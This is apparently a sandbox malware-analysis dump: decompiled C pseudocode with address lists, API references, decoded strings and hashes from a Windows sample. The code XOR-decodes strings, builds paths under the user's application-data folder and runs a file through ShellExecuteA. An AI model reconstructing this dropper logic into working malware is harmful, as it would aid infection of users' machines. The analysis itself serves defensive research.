					E00403A00(_t540,  &_v4316 +  *((intOrPtr*)(_v4316 + 4)), 0x00000002 + (0 |  *((intOrPtr*)( &_v4316 +  *((intOrPtr*)(_v4316 + 4)) + 0x38)) == 0x00000000) * 0x00000004 |  *( &_v4316 +  *((intOrPtr*)(_v4316 + 4)) + 0xc), 0);
				}
				if(E00406F50( &_v4484) == 0) {
					E00403A00(_t540,  &_v4500 +  *((intOrPtr*)(_v4500 + 4)), 0x00000002 + (0 |  *((intOrPtr*)( &_v4500 +  *((intOrPtr*)(_v4500 + 4)) + 0x38)) == 0x00000000) * 0x00000004 |  *( &_v4500 +  *((intOrPtr*)(_v4500 + 4)) + 0xc), 0);
				}
				_t621 = 0x37;
				_v4528 = 0x45541837;
				_v4524 = 0x52435652;
				_t556 = 0;
				_v4520 = 0x59431817;
				_v4516 = 0x1517;
				_v4514 = 0;
				while(1) {
					( &_v4527)[_t556] = ( &_v4527)[_t556] ^ _t621;
					_t556 = _t556 + 1;
					if(_t556 >= 0xd) {
						break;
					}
					_t621 = _v4528;
				}
				_t557 =  &_v4527;
				_v4514 = 0;
				_t622 = _t557 + 1;
				do {
					_t395 =  *_t557;
					_t557 = _t557 + 1;
					__eflags = _t395;
				} while (_t395 != 0);
				_t558 = _t557 - _t622;
				_t623 =  *0x444fa8; // 0x0
				__eflags = 0x7fffffff - _t623 - _t558;
				if(0x7fffffff - _t623 < _t558) {
					E00401BD0(_t540, _t558, _t623);
					goto L54;
				} else {
					__eflags =  *0x444fac - 0x10;
					_t432 =  >=  ?  *0x444f98 : 0x444f98;
					L00402A70(_t540,  &_v4652, _t643, _t650, _v4507, _t558,  &_v4527, _t558,  >=  ?  *0x444f98 : 0x444f98, _t623);
					_v8 = 0xa;
					_v4529 = 0x2e;
					_v4512 = 0xc;
					_v4511 = 0x0000002e ^ _v4512;
					_t438 = _v4512;
					_v4504 = 0;
					_t573 = 0x0000007e ^ _t438 ^ _t438;
					_v4510 = _t573;
					_t629 = 0x00000023 ^ _t438;
					_v4507 = _t573;
					_t439 = _t438 ^ _t438;
					_v4509 = _t629;
					_v4508 = _t439;
					_v4505 = _v4529 ^ _v4512;
					_v4506 = _t629 ^ _t439;
					_v4504 = 0;
					_t443 = E00402530( &_v4652,  &_v4511);
					_v4544 = 0;
					asm("xorps xmm0, xmm0");
					asm("movups [ebp-0x11cc], xmm0");
					_v4540 = 0;
					asm("movups xmm0, [eax]");
					asm("movups [ebp-0x11cc], xmm0");
					asm("movq xmm0, [eax+0x10]");
					asm("movq [ebp-0x11bc], xmm0");
					 *(_t443 + 0x10) = 0;
					 *(_t443 + 0x14) = 0xf;
					 *_t443 = 0;
					_v8 = 0xb;
					_t444 = E00402760( &_v4628,  &_v4560, 0x443ad4);
					_t661 = _t661 + 4;
					_t632 = _t444;
					_v8 = 0xc;
					_t576 = 0;
					__eflags = 0;
					asm("movaps xmm0, [0x43efd0]");
					asm("movups [ebp-0x11f8], xmm0");
					_v4572 = 0x2c717e3b;
					asm("movaps xmm0, [0x43f080]");
					asm("movups [ebp-0x11e8], xmm0");
					_v4568 = 0x7e6f7e37;
					_v4564 = 0x3871;
					_v4562 = 0;
					do {
						 *(_t655 + _t576 - 0x11f7) =  *(_t655 + _t576 - 0x11f7) ^ _v4604;
						_t576 = _t576 + 1;
						__eflags = _t576 - 0x29;
					} while (_t576 < 0x29);
					_v4562 = 0;
					_t447 = E00402530(_t632,  &_v4603);
					_v4124 = 0;
					asm("xorps xmm0, xmm0");
					asm("movups [ebp-0x1028], xmm0");
					_v4120 = 0;
					asm("movups xmm0, [eax]");
					asm("movups [ebp-0x1028], xmm0");
					asm("movq xmm0, [eax+0x10]");
					asm("movq [ebp-0x1018], xmm0");
					 *(_t447 + 0x10) = 0;
					 *(_t447 + 0x14) = 0xf;
					 *_t447 = 0;
					_v8 = 0xb;
					_t578 = _v4608;
					__eflags = _t578 - 0x10;
					if(_t578 < 0x10) {
						L37:
						_v8 = 0xa;
						_t579 = _v4540;
						_v4612 = 0;
						_v4608 = 0xf;
						_v4628 = 0;
						__eflags = _t579 - 0x10;
						if(_t579 < 0x10) {
							L41:
							_v8 = 7;
							_t580 = _v4632;
							_v4544 = 0;
							_v4540 = 0xf;
							_v4560 = 0;
							__eflags = _t580 - 0x10;
							if(_t580 < 0x10) {
								L45:
								__eflags = _v4120 - 0x10;
								_t633 = 0x4c;
								_v4528 = 0x242f3f4c;
								_t650 =  >=  ? _v4140 :  &_v4140;
								_t581 = 0;
								__eflags = 0;
								_v4524 = 0x273f2d38;
								_v4520 = 0x3429623f;
								_v4516 = 0x29;
								while(1) {
									( &_v4527)[_t581] = ( &_v4527)[_t581] ^ _t633;
									_t581 = _t581 + 1;
									__eflags = _t581 - 0xc;
									if(_t581 >= 0xc) {
										break;
									}
									_t236 =  &_v4528; // 0x242f3f4c
									_t633 =  *_t236;
								}
								_v4507 = 0;
								_v4515 = 0;
								_v4512 = 0x64;
								_v4507 = 0;
								_v4511 = 0xb;
								_v4508 = 0xa;
								_t635 = 0x71;
								_v4510 = 0x70;
								_v4509 = 0x71;
								ShellExecuteA(0,  &_v4511,  &_v4527, _t650, 0, 0); // executed
								_t585 = _v4120;
								__eflags = _t585 - 0x10;
								if(_t585 < 0x10) {
									L52:
									_v4124 = 0;
									_v4120 = 0xf;
									_v4140 = 0;
									 *((intOrPtr*)(_t655 +  *((intOrPtr*)(_v4316 + 4)) - 0x10d8)) = 0x43ea70;
									_t257 =  &_v4316; // 0x43ea70
									_t259 =  *((intOrPtr*)( *_t257 + 4)) - 0x68; // -104
									 *((intOrPtr*)(_t655 +  *((intOrPtr*)( *_t257 + 4)) - 0x10dc)) = _t259;
									E00405690( &_v4312);
									_t263 =  &_v4316; // 0x43ea70
									 *((intOrPtr*)(_t655 +  *((intOrPtr*)( *_t263 + 4)) - 0x10d8)) = 0x43ea98;
									_t268 = _v4316 + 4; // 0x74636576
									_t269 =  *_t268 - 8; // 0x7463656e
									 *((intOrPtr*)(_t655 +  *_t268 - 0x10dc)) = _t269;
									_v8 = 0xd;
									_v4212 = 0x43ea28;
									E004128AD( &_v4212);
									 *((intOrPtr*)(_t655 +  *((intOrPtr*)(_v4500 + 4)) - 0x1190)) = 0x43ea90;
									_t280 = _v4500 + 4; // 0x43f75c
									_t281 =  *_t280 - 0x70; // 0x43f6ec
									 *((intOrPtr*)(_t655 +  *_t280 - 0x1194)) = _t281;
									E00405690( &_v4484);
									_t286 = _v4500 + 4; // 0x43f75c
									 *((intOrPtr*)(_t655 +  *_t286 - 0x1190)) = 0x43ea88;
									_t290 = _v4500 + 4; // 0x43fa70
									_t291 =  *_t290 - 0x18; // 0x43fa58
									 *((intOrPtr*)(_t655 +  *_t290 - 0x1194)) = _t291;
									_v8 = 0xe;
									_v4388 = 0x43ea28;
									_t477 = E004128AD( &_v4388);
									 *[fs:0x0] = _v16;
									_pop(_t647);
									_pop(_t654);
									__eflags = _v20 ^ _t655;
									return E0041361E(_t477, _t540, _v20 ^ _t655, _t635, _t647, _t654);
								} else {
									_t635 = _v4140;
									_t596 = _t585 + 1;
									_t479 = _v4140;
									__eflags = _t596 - 0x1000;
									if(_t596 < 0x1000) {
										L51:
										_push(_t596);
										E004138AD(_t635);
										_t661 = _t661 + 8;
										goto L52;
									} else {
										_t623 =  *((intOrPtr*)(_t479 - 4));
										_t558 = _t596 + 0x23;
										__eflags = _t479 -  *((intOrPtr*)(_t479 - 4)) + 0xfffffffc - 0x1f;
										if(_t479 -  *((intOrPtr*)(_t479 - 4)) + 0xfffffffc > 0x1f) {
											goto L55;
										} else {
											goto L51;
										}
									}
								}
							} else {
								_t636 = _v4652;
								_t597 = _t580 + 1;
								_t483 = _v4652;
								__eflags = _t597 - 0x1000;
								if(_t597 < 0x1000) {
									L44:
									_push(_t597);
									E004138AD(_t636);
									_t661 = _t661 + 8;
									goto L45;
								} else {
									_t623 =  *((intOrPtr*)(_t483 - 4));
									_t558 = _t597 + 0x23;
									__eflags = _t483 -  *((intOrPtr*)(_t483 - 4)) + 0xfffffffc - 0x1f;
									if(_t483 -  *((intOrPtr*)(_t483 - 4)) + 0xfffffffc > 0x1f) {
										goto L54;
									} else {
										goto L44;
									}
								}
							}
						} else {
							_t637 = _v4560;
							_t598 = _t579 + 1;
							_t487 = _v4560;
							__eflags = _t598 - 0x1000;
							if(_t598 < 0x1000) {
								L40:
								_push(_t598);
								E004138AD(_t637);
								_t661 = _t661 + 8;
								goto L41;
							} else {
								_t623 =  *((intOrPtr*)(_t487 - 4));
								_t558 = _t598 + 0x23;
								__eflags = _t487 -  *((intOrPtr*)(_t487 - 4)) + 0xfffffffc - 0x1f;
								if(_t487 -  *((intOrPtr*)(_t487 - 4)) + 0xfffffffc > 0x1f) {
									goto L54;
								} else {
									goto L40;
								}
							}
						}
					} else {
						_t638 = _v4628;
						_t599 = _t578 + 1;
						_t491 = _v4628;
						__eflags = _t599 - 0x1000;
						if(_t599 < 0x1000) {
							L36:
							_push(_t599);
							E004138AD(_t638);
							_t661 = _t661 + 8;
							goto L37;
						} else {
							_t623 =  *((intOrPtr*)(_t491 - 4));
							_t558 = _t599 + 0x23;
							__eflags = _t491 -  *((intOrPtr*)(_t491 - 4)) + 0xfffffffc - 0x1f;
							if(_t491 -  *((intOrPtr*)(_t491 - 4)) + 0xfffffffc > 0x1f) {
								L54:
								E0041805F(_t540, _t558, _t623);
								L55:
								E0041805F(_t540, _t558, _t623);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t655);
								_push(0xffffffff);
								_push(0x432685);
								_push( *[fs:0x0]);
								_push(_t540);
								_push(_t650);
								_push(_t643);
								_t402 =  *0x443048; // 0x7239e5fc
								_push(_t402 ^ _t661);
								 *[fs:0x0] =  &_v52;
								_v56 = _t661 - 0x14;
								_t651 = _t558;
								_v60 = _t651;
								_t644 = 0;
								_v64 = 0;
								_v72 = _t651;
								_t559 =  *( *((intOrPtr*)( *_t651 + 4)) + _t651 + 0x38);
								__eflags = _t559;
								if(_t559 != 0) {
									 *((intOrPtr*)( *_t559 + 4))();
								}
								_v12 = 0;
								_t560 =  *_t651;
								_t408 =  *(_t560 + 4) + _t651;
								__eflags =  *(_t408 + 0xc);
								if( *(_t408 + 0xc) == 0) {
									_t409 =  *(_t408 + 0x3c);
									__eflags = _t409;
									if(_t409 == 0) {
										L63:
										_t410 = 1;
									} else {
										__eflags = _t409 - _t651;
										if(_t409 == _t651) {
											goto L63;
										} else {
											E00407DB0(_t409);
											_t560 =  *_t651;
											_t428 =  *(_t560 + 4);
											__eflags =  *(_t428 + _t651 + 0xc);
											_t410 = _t428 & 0xffffff00 |  *(_t428 + _t651 + 0xc) == 0x00000000;
										}
									}
								} else {
									_t410 = 0;
								}
								_v36 = _t410;
								_v12 = 1;
								__eflags = _t410;
								if(_t410 != 0) {
									_t624 = _a8;
									__eflags = _t624;
									if(__eflags >= 0) {
										_t540 = _a4;
										if(__eflags > 0) {
											L69:
											_v12 = 2;
											_t426 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t560 + 4) + _t651 + 0x38)))) + 0x24))))(_v0, _t540, _t624); // executed
											__eflags = _t426 - _t540;
											if(_t426 != _t540) {
												L71:
												_t644 = 4;
											} else {
												__eflags = _t624 - _a8;
												if(_t624 != _a8) {
													goto L71;
												}
											}
											_v12 = 1;
										} else {
											__eflags = _t540;
											if(_t540 != 0) {
												goto L69;
											}
										}
									}
								} else {
									_t644 = 4;
								}
								_t562 =  *((intOrPtr*)( *_t651 + 4)) + _t651;
								__eflags =  *(_t562 + 0x38);
								_t413 =  !=  ? 0 : 4;
								_t414 = ( !=  ? 0 : 4) |  *(_t562 + 0xc) | _t644;
								E00403A00(_t540, _t562, ( !=  ? 0 : 4) |  *(_t562 + 0xc) | _t644, 0);
								_v12 = 4;
								_t416 = L00412875(_t562, __eflags);
								__eflags = _t416;
								if(_t416 == 0) {
									E00407EE0();
								}
								_v12 = 5;
								_t563 =  *( *((intOrPtr*)( *_t651 + 4)) + _t651 + 0x38);
								__eflags = _t563;
								if(_t563 != 0) {
									 *((intOrPtr*)( *_t563 + 8))();
								}
								 *[fs:0x0] = _v20;
								return _t651;
							} else {
								goto L36;
							}
						}
					}
				}
			}

0x00411470
0x00411470
0x00411473
0x00411475
0x00411480
0x00411486
0x0041148b
0x00411490
0x00411492
0x00411495
0x00411496
0x00411497
0x0041149b
0x004114a1
0x004114b9
0x004114c1
0x004114d5
0x004114da
0x004114e4
0x004114ee
0x004114f8
0x00411502
0x0041150f
0x0041151c
0x00411526
0x00411529
0x00411539
0x00411544
0x0041154c
0x00411551
0x00411561
0x00411572
0x00411575
0x00411578
0x00411585
0x00411595
0x0041159f
0x004115a4
0x004115ae
0x004115b8
0x004115c2
0x004115cc
0x004115d6
0x004115d9
0x004115e3
0x004115f3
0x004115fd
0x00411608
0x0041160d
0x0041161d
0x00411628
0x00411631
0x00411634
0x00411641
0x00411646
0x00411656
0x00411664
0x004116ff
0x0041170b
0x00411710
0x0041171d
0x0041171d
0x0041166a
0x0041166a
0x0041166c
0x0041166f
0x00411674
0x00411679
0x00000000
0x0041167f
0x00411688
0x00411693
0x00411696
0x0041169e
0x004116a7
0x004116ac
0x004116b1
0x004116bb
0x004116c0
0x004116c4
0x004116cc
0x004116d3
0x004116d7
0x004116df
0x004116df
0x004116d7
0x004116ed
0x004116ef
0x004116fa
0x004116fa
0x00411679
0x00411723
0x00411734
0x00411742
0x004117dd
0x004117dd
0x004117e3
0x004117e9
0x004117ee
0x004117fb
0x004117fb
0x00411748
0x00411748
0x0041174a
0x0041174d
0x00411752
0x00411757
0x00000000
0x0041175d
0x00411766
0x00411771
0x00411774
0x0041177c
0x00411785
0x0041178a
0x0041178f
0x00411799
0x0041179e
0x004117a2
0x004117aa
0x004117b1
0x004117b5
0x004117bd
0x004117bd
0x004117b5
0x004117cb
0x004117cd
0x004117d8
0x004117d8
0x00411757
0x00411801
0x00411817
0x00411820
0x00411830
0x00411835
0x00411841
0x00411847
0x0041184d
0x0041184e
0x0041185c
0x0041186e
0x00411873
0x00411878
0x0041187d
0x00411880
0x00411886
0x0041188b
0x00411893
0x0041189f
0x004118a1
0x004118a7
0x004118ac
0x004118af
0x004118b0
0x004118b8
0x004118be
0x004118c6
0x004118c8
0x004118c8
0x004118ca
0x004118cf
0x004118d6
0x004118db
0x004118db
0x004118c8
0x004118e1
0x004118e6
0x004118ef
0x00411901
0x00411927
0x00411927
0x00411939
0x0041195f
0x0041195f
0x00411964
0x00411966
0x00411970
0x0041197a
0x0041197c
0x00411986
0x0041198f
0x00411996
0x0041199c
0x0041199f
0x004119a3
0x00000000
0x00000000
0x004119a5
0x004119a5
0x004119ad
0x004119b3
0x004119ba
0x004119c0
0x004119c0
0x004119c2
0x004119c3
0x004119c3
0x004119c7
0x004119ce
0x004119d6
0x004119d8
0x00411eb6
0x00000000
0x004119de
0x004119de
0x004119eb
0x00411a08
0x00411a0d
0x00411a13
0x00411a1b
0x00411a2c
0x00411a34
0x00411a3e
0x00411a45
0x00411a47
0x00411a4d
0x00411a4f
0x00411a55
0x00411a57
0x00411a5f
0x00411a77
0x00411a84
0x00411a8a
0x00411a91
0x00411a96
0x00411aa0
0x00411aa3
0x00411aaa
0x00411ab4
0x00411ab7
0x00411abe
0x00411ac3
0x00411acb
0x00411ad2
0x00411ad9
0x00411ae7
0x00411af1
0x00411af6
0x00411af9
0x00411afb
0x00411aff
0x00411aff
0x00411b01
0x00411b08
0x00411b0f
0x00411b19
0x00411b20
0x00411b27
0x00411b31
0x00411b3a
0x00411b41
0x00411b47
0x00411b4e
0x00411b4f
0x00411b4f
0x00411b5a
0x00411b64
0x00411b69
0x00411b73
0x00411b76
0x00411b7d
0x00411b87
0x00411b8a
0x00411b91
0x00411b96
0x00411b9e
0x00411ba5
0x00411bac
0x00411baf
0x00411bb3
0x00411bb9
0x00411bbc
0x00411bed
0x00411bed
0x00411bf1
0x00411bf7
0x00411c01
0x00411c0b
0x00411c12
0x00411c15
0x00411c46
0x00411c46
0x00411c4a
0x00411c50
0x00411c5a
0x00411c64
0x00411c6b
0x00411c6e
0x00411c9f
0x00411c9f
0x00411cac
0x00411cae
0x00411cb8
0x00411cbf
0x00411cbf
0x00411cc1
0x00411ccb
0x00411cd5
0x00411ce0
0x00411ce6
0x00411ce9
0x00411cea
0x00411ced
0x00000000
0x00000000
0x00411cef
0x00411cef
0x00411cef
0x00411cf9
0x00411d04
0x00411d0d
0x00411d15
0x00411d1e
0x00411d26
0x00411d41
0x00411d43
0x00411d4b
0x00411d51
0x00411d57
0x00411d5d
0x00411d60
0x00411d91
0x00411d97
0x00411da1
0x00411dab
0x00411db5
0x00411dc0
0x00411dc9
0x00411dcc
0x00411dd9
0x00411dde
0x00411de7
0x00411df8
0x00411dfb
0x00411dfe
0x00411e0b
0x00411e10
0x00411e1a
0x00411e2b
0x00411e3c
0x00411e3f
0x00411e42
0x00411e4f
0x00411e5a
0x00411e5d
0x00411e6e
0x00411e71
0x00411e74
0x00411e81
0x00411e89
0x00411e93
0x00411e9e
0x00411ea6
0x00411ea7
0x00411eab
0x00411eb5
0x00411d62
0x00411d62
0x00411d68
0x00411d69
0x00411d6b
0x00411d71
0x00411d87
0x00411d87
0x00411d89
0x00411d8e
0x00000000
0x00411d73
0x00411d73
0x00411d76
0x00411d7e
0x00411d81
0x00000000
0x00000000
0x00000000
0x00000000
0x00411d81
0x00411d71
0x00411c70
0x00411c70
0x00411c76
0x00411c77
0x00411c79
0x00411c7f
0x00411c95
0x00411c95
0x00411c97
0x00411c9c
0x00000000
0x00411c81
0x00411c81
0x00411c84
0x00411c8c
0x00411c8f
0x00000000
0x00000000
0x00000000
0x00000000
0x00411c8f
0x00411c7f
0x00411c17
0x00411c17
0x00411c1d
0x00411c1e
0x00411c20
0x00411c26
0x00411c3c
0x00411c3c
0x00411c3e
0x00411c43
0x00000000
0x00411c28
0x00411c28
0x00411c2b
0x00411c33
0x00411c36
0x00000000
0x00000000
0x00000000
0x00000000
0x00411c36
0x00411c26
0x00411bbe
0x00411bbe
0x00411bc4
0x00411bc5
0x00411bc7
0x00411bcd
0x00411be3
0x00411be3
0x00411be5
0x00411bea
0x00000000
0x00411bcf
0x00411bcf
0x00411bd2
0x00411bda
0x00411bdd
0x00411ebb
0x00411ebb
0x00411ec0
0x00411ec0
0x00411ec5
0x00411ec6
0x00411ec7
0x00411ec8
0x00411ec9
0x00411eca
0x00411ecb
0x00411ecc
0x00411ecd
0x00411ece
0x00411ecf
0x00411ed0
0x00411ed3
0x00411ed5
0x00411ee0
0x00411ee4
0x00411ee5
0x00411ee6
0x00411ee7
0x00411eee
0x00411ef2
0x00411ef8
0x00411efb
0x00411efd
0x00411f02
0x00411f04
0x00411f07
0x00411f0d
0x00411f11
0x00411f13
0x00411f17
0x00411f17
0x00411f1a
0x00411f21
0x00411f26
0x00411f28
0x00411f2c
0x00411f32
0x00411f35
0x00411f37
0x00411f53
0x00411f53
0x00411f39
0x00411f39
0x00411f3b
0x00000000
0x00411f3d
0x00411f3f
0x00411f44
0x00411f46
0x00411f49
0x00411f4e
0x00411f4e
0x00411f3b
0x00411f2e
0x00411f2e
0x00411f2e
0x00411f55
0x00411f58
0x00411f5f
0x00411f61
0x00411f6a
0x00411f6d
0x00411f6f
0x00411f71
0x00411f74
0x00411f7a
0x00411f7a
0x00411f8f
0x00411f91
0x00411f93
0x00411f9a
0x00411f9a
0x00411f95
0x00411f95
0x00411f98
0x00000000
0x00000000
0x00411f98
0x00411fd6
0x00411f76
0x00411f76
0x00411f78
0x00000000
0x00000000
0x00411f78
0x00411f74
0x00411f63
0x00411f63
0x00411f63
0x00411fe9
0x00411ff2
0x00411ff5
0x00411ff8
0x00411ffb
0x00412000
0x00412007
0x0041200c
0x0041200e
0x00412012
0x00412012
0x00412017
0x00412020
0x00412024
0x00412026
0x0041202a
0x0041202a
0x00412032
0x00412040
0x00000000
0x00000000
0x00000000
0x00411bdd
0x00411bcd
0x00411bbc

APIs

CreateDirectoryA.KERNELBASE(00443AEC,00000000), ref: 004114C1

Part of subcall function 00407F70: std::locale::_Init.LIBCPMT ref: 00408002

Part of subcall function 00407040: std::locale::_Init.LIBCPMT ref: 00407092

Part of subcall function 00408400: std::_Lockit::_Lockit.LIBCPMT ref: 00408436
Part of subcall function 00408400: std::_Lockit::_Lockit.LIBCPMT ref: 00408458
Part of subcall function 00408400: std::_Lockit::~_Lockit.LIBCPMT ref: 00408478
Part of subcall function 00408400: std::_Lockit::~_Lockit.LIBCPMT ref: 0040849F

ShellExecuteA.SHELL32(00000000,?,?,?,00000000,00000000), ref: 00411D51
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00411E1A
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00411E93

Strings

`, xrefs: 004115FD
(, xrefs: 004115E3
pC, xrefs: 00411628, 004117DD, 004117E3, 00411DC0, 00411DDE
7~o~, xrefs: 00411B27
L?/$8-?'?b)4), xrefs: 00411CEF
X, xrefs: 00411539
;~q,, xrefs: 00411B0F
q8, xrefs: 00411B31

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Lockitstd::_$InitIos_base_dtorLockit::_Lockit::~_std::ios_base::_std::locale::_$CreateDirectoryExecuteShell
String ID: ($7~o~$;~q,$L?/$8-?'?b)4)$X$`$pC$q8
API String ID: 931165786-843033919
Opcode ID: 8709ac143dd77d261a2c335ff3c16ff673357cca2c8b0bd85048a0db035ab7be
Instruction ID: 4923e22fe3a22a6b6f0130d0e6dafac16d62dc9ee2cb4d05c0e02e21433304ff
Opcode Fuzzy Hash: 8709ac143dd77d261a2c335ff3c16ff673357cca2c8b0bd85048a0db035ab7be
Instruction Fuzzy Hash: 4E52B3749002988FDB28DF24CC95BD9BBB4AF19308F1481EAE64DA7291D7749EC8CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004041D0 Relevance: 9.4, APIs: 4, Strings: 1, Instructions: 654
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E004041D0(signed int __ebx, void* __edi, void* __esi) {
				struct HINSTANCE__* _v8;
				char _v16;
				signed int _v20;
				char _v276;
				char _v532;
				char _v792;
				char _v1052;
				long _v1056;
				struct HINSTANCE__* _v1060;
				struct HINSTANCE__* _v1064;
				signed char _v1080;
				char _v1083;
				signed char _v1084;
				signed char _v1085;
				signed char _v1086;
				signed char _v1087;
				signed int _v1088;
				struct HINSTANCE__* _v1092;
				struct HINSTANCE__* _v1096;
				signed char _v1112;
				struct HINSTANCE__* _v1116;
				struct HINSTANCE__* _v1120;
				signed char _v1136;
				intOrPtr _v1140;
				signed char _v1160;
				intOrPtr _v1164;
				char _v1184;
				signed int _t194;
				signed int _t195;
				intOrPtr _t198;
				intOrPtr _t203;
				intOrPtr _t217;
				void* _t221;
				intOrPtr _t225;
				void* _t231;
				char* _t232;
				intOrPtr _t237;
				void* _t241;
				char* _t242;
				void* _t245;
				signed char _t248;
				intOrPtr _t254;
				intOrPtr _t263;
				intOrPtr _t266;
				char* _t272;
				signed int _t279;
				signed int _t281;
				signed char _t283;
				signed char _t287;
				signed char _t291;
				intOrPtr _t295;
				signed char _t299;
				signed char _t303;
				signed char _t307;
				signed char _t311;
				signed char _t315;
				signed char _t319;
				signed char _t323;
				signed char _t327;
				intOrPtr* _t332;
				intOrPtr* _t336;
				int* _t337;
				struct HINSTANCE__* _t342;
				intOrPtr _t343;
				intOrPtr* _t345;
				signed char _t353;
				struct HINSTANCE__* _t357;
				struct HINSTANCE__* _t358;
				intOrPtr _t359;
				intOrPtr* _t361;
				signed char _t369;
				struct HINSTANCE__* _t373;
				struct HINSTANCE__* _t374;
				intOrPtr _t375;
				struct HINSTANCE__* _t376;
				int* _t381;
				intOrPtr* _t382;
				intOrPtr* _t385;
				intOrPtr* _t388;
				intOrPtr _t396;
				intOrPtr _t397;
				struct HINSTANCE__* _t398;
				struct HINSTANCE__* _t399;
				intOrPtr* _t401;
				int* _t402;
				int* _t403;
				void* _t404;
				void* _t405;
				void* _t406;
				int* _t407;
				int* _t408;
				void* _t409;
				int* _t410;
				int* _t411;
				void* _t412;
				int* _t413;
				void* _t414;
				void* _t415;
				signed char _t423;
				void* _t429;
				void* _t430;
				void* _t431;
				void* _t444;
				void* _t445;
				void* _t446;
				void* _t450;
				intOrPtr _t451;
				void* _t452;
				void* _t453;
				signed int _t456;
				void* _t457;
				void* _t458;
				void* _t459;
				void* _t460;
				void* _t520;

				_t331 = __ebx;
				_t454 = _t456;
				_t457 = _t456 - 0x490;
				_t194 =  *0x443048; // 0x7239e5fc
				_t195 = _t194 ^ _t456;
				_v20 = _t195;
				 *[fs:0x0] =  &_v16;
				__imp__SHGetFolderPathA(0, 0x1a, 0, 0,  &_v792, _t195, __edi, __esi,  *[fs:0x0], 0x431828, 0xffffffff, _t453); // executed
				asm("xorps xmm0, xmm0");
				_v1064 = 0;
				_t332 =  &_v792;
				_v1060 = 0;
				asm("movups [ebp-0x434], xmm0");
				_t414 = _t332 + 1;
				do {
					_t198 =  *_t332;
					_t332 = _t332 + 1;
				} while (_t198 != 0);
				_push(_t332 - _t414);
				_push( &_v792);
				E00402830(__ebx,  &_v1080, _t414, __edi, __esi);
				_v8 = 0;
				_v1088 = 0x19;
				_v1086 = 0;
				_t336 =  &_v1087;
				_v1087 = 0x5c;
				_v1086 = 0;
				_t415 = _t336 + 1;
				do {
					_t203 =  *_t336;
					_t336 = _t336 + 1;
				} while (_t203 != 0);
				_t337 = _t336 - _t415;
				_t416 = _v1064;
				if(0x7fffffff - _v1064 < _t337) {
					E00401BD0(_t331, _t337, _t416);
					goto L89;
				} else {
					_t219 =  >=  ? _v1080 :  &_v1080;
					L00402A70(_t331,  &_v1160, __edi, 0x7fffffff, _v1056,  &_v1087,  >=  ? _v1080 :  &_v1080, _t416,  &_v1087, _t337);
					_v8 = 1;
					_t221 = E00402760( &_v1112,  &_v1160, 0x444fb0);
					_t458 = _t457 + 4;
					E00405C60(_t331, 0x443aec, _t221);
					_t342 = _v1092;
					if(_t342 < 0x10) {
						L9:
						_v8 = 0;
						_t343 = _v1140;
						_v1096 = 0;
						_v1092 = 0xf;
						_v1112 = 0;
						if(_t343 < 0x10) {
							L13:
							_t416 =  *0x443afc; // 0x0
							_v1088 = 0x74;
							_v1086 = 0;
							_t345 =  &_v1087;
							_v1087 = 0x5c;
							_v1086 = 0;
							_t444 = _t345 + 1;
							asm("o16 nop [eax+eax]");
							do {
								_t225 =  *_t345;
								_t345 = _t345 + 1;
							} while (_t225 != 0);
							_t337 = _t345 - _t444;
							if(0x7fffffff - _t416 < _t337) {
								goto L90;
							} else {
								_t229 =  >=  ?  *0x443aec : 0x443aec;
								L00402A70(_t331,  &_v1160, _t444, 0x7fffffff, _v1056,  &_v1087,  >=  ?  *0x443aec : 0x443aec, _t416,  &_v1087, _t337);
								_v8 = 2;
								_t231 = E00402760( &_v1112,  &_v1160, 0x444f98);
								_t459 = _t458 + 4;
								_v8 = 3;
								_v1088 = 0x48;
								_v1087 = 0x30;
								_t353 = _v1088 ^ _v1088;
								_v1083 = 0;
								_v1085 = _t353;
								_t423 = 0x0000002d ^ _t353 ^ _t353;
								_v1086 = _t423;
								_v1084 = _t423;
								_v1083 = 0;
								_t232 = E00402530(_t231,  &_v1087);
								asm("movups xmm0, [eax]");
								asm("movups [ebp-0x46c], xmm0");
								asm("movq xmm0, [eax+0x10]");
								 *(_t232 + 0x10) = 0;
								 *(_t232 + 0x14) = 0xf;
								 *_t232 = 0;
								asm("movq [ebp-0x45c], xmm0");
								E00405C60(_t331, 0x443ad4,  &_v1136);
								_t357 = _v1116;
								if(_t357 < 0x10) {
									L20:
									_v8 = 2;
									_t358 = _v1092;
									if(_t358 < 0x10) {
										L24:
										_v8 = 0;
										_t359 = _v1140;
										_v1096 = 0;
										_v1092 = 0xf;
										_v1112 = 0;
										if(_t359 < 0x10) {
											L28:
											_t416 =  *0x443afc; // 0x0
											_v1088 = 0x4f;
											_v1086 = 0;
											_t361 =  &_v1087;
											_v1087 = 0x5c;
											_v1086 = 0;
											_t445 = _t361 + 1;
											do {
												_t237 =  *_t361;
												_t361 = _t361 + 1;
											} while (_t237 != 0);
											_t337 = _t361 - _t445;
											_t449 = 0x7fffffff - _t416;
											if(0x7fffffff - _t416 < _t337) {
												goto L92;
											} else {
												_t239 =  >=  ?  *0x443aec : 0x443aec;
												L00402A70(_t331,  &_v1160, _t445, _t449, _v1056,  &_v1087,  >=  ?  *0x443aec : 0x443aec, _t416,  &_v1087, _t337);
												_v8 = 4;
												_t241 = E00402760( &_v1112,  &_v1160, 0x444f98);
												_t460 = _t459 + 4;
												_v8 = 5;
												_v1088 = 0x11;
												_v1087 = 0x00000078 ^ _v1088;
												_t369 = _v1088 ^ _v1088;
												_v1083 = 0;
												_v1085 = _t369;
												_t428 = 0x00000075 ^ _t369 ^ _t369;
												_v1086 = _t428;
												_v1084 = _t428;
												_v1083 = 0;
												_t242 = E00402530(_t241,  &_v1087);
												asm("movups xmm0, [eax]");
												asm("movups [ebp-0x46c], xmm0");
												asm("movq xmm0, [eax+0x10]");
												 *(_t242 + 0x10) = 0;
												 *(_t242 + 0x14) = 0xf;
												 *_t242 = 0;
												asm("movq [ebp-0x45c], xmm0");
												E00405C60(_t331, 0x443aa4,  &_v1136);
